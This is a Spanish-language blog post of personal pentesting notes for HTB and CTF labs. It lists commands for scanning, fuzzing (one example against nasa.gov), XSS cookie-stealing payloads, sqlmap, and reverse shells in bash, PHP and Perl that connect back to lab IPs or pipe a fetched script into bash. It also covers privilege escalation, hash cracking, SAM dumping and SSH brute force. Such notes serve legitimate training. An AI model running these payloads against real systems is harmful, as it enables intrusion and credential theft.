Pentesting tips

Acerca de este post

He creado este post con la intención de tener apuntes para realización de pentesting, consejos y tips para llevar a cabo penetración de sistemas. Está enfocado a la realización de máquinas en plataformas como HTB, CTFs, así como entornos controlados. Está sujeto a cambios, mejoras, etc dependiendo del uso que vaya probando y mis propias preferencias. No añado comentarios para mantenerlo lo más limpio posible.

Nmap

Escanear sistema

nmap -p- -Pn -sSVC 10.129.229.146

Listar scripts

ls /usr/share/nmap/scripts/

Usar script

nmap --script  ftp-vsftpd-backdoor.nse -p 21  10.129.229.146

Exploits

searchsploit 8.1.0-dev

Descubrimientos web

Curl

curl -i 10.129.28.20 

Fuzzing subdominios

gobuster dns -d nasa.gov -w wordlist/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --delay 400ms

Fuzzing directorios

dirsearch -u http://shocker.htb/

Fuzzing archivos

dirsearch -u https://target.com -e php,html,js,txt,zip,sql -r --delay 1

feroxbuster -u http://shocker.htb//cgi-bin/ -x sh,pl,py,php

Fuzzing path

ffuf -u https://www.example.com/search/?q=FUZZ -w wordlist/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -t 1 -v

XSS test

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

hello"><script>alert("hello")</script>
img"><img src/onerror=prompt(document.cookie)>

HTML Injection

marquee"><marquee>hello</marquee>

SQLMap

sqlmap -u "https://target.htb" --random-agent

Curl

curl -X POST "http://2million.htb/api/v1/invite/verify" -H  "accept: application/json" -d "code=12345678" --cookie 

Payloads

https://github.com/swisskyrepo/PayloadsAllTheThings

Reverse shell

Generador de varias reverseshell https://www.revshells.com/

Bash

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.110/4444 0>&1

Netcat

nc -nlvp 4444

Socat

socat tcp-listen:4444 -

socat file:`tty`,raw,echo=0 tcp-listen:4444

PHP

 <?php system("curl http://10.10.14.70:8000/rev.sh|bash"); ?> 

<?php system(“/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.166/4444 0>&1′”); ?>

Perl

export RHOST=10.10.14.110
export RPORT=4448
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Metasplot SSH

auxiliary/scanner/ssh/ssh_login

Tratamiento TTY

Linux

script /dev/null -c bash

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Pulsar Ctrl+Z , esto envía la terminal al background,

stty raw -echo; fg

Volvemos a recuperar la terminal, esto nos permite utilizar Ctrl + C sin que se corte la conexión con la shell. Además tenemos un terminal con capacidades como autocompletado.

Escalada privilegios

Descarga de archivos con PowerShell

Invoke-WebRequest -Uri "https://atackerip/archivo.zip" -OutFile "C:\ruta\destino\archivo.zip"

Sudo

sudo -l 

Find de archivos con el bit SUID activado

find / -perm -u=s -type f 2>/dev/null

Find archivos con permisos de escritura

find /ruta -type f -perm -u=w

Linpeas/Winpeas

Linpeas.sh Winpeas.bat

Pspy

https://github.com/DominicBreuker/pspy

Metasploit

Módulo local_exploit_suggester

GTFObins

https://gtfobins.github.io/

Cracking

Hashcat

hashcat -m 3200 hash /usr/share/wordlist/rockyou.txt

samdump2

samdump2 SYSTEM SAM

Brute force

THC-Hydra

hydra -l root -P ~/pentest/wordlist/rockyou.txt  10.10.14.21  ssh -t 4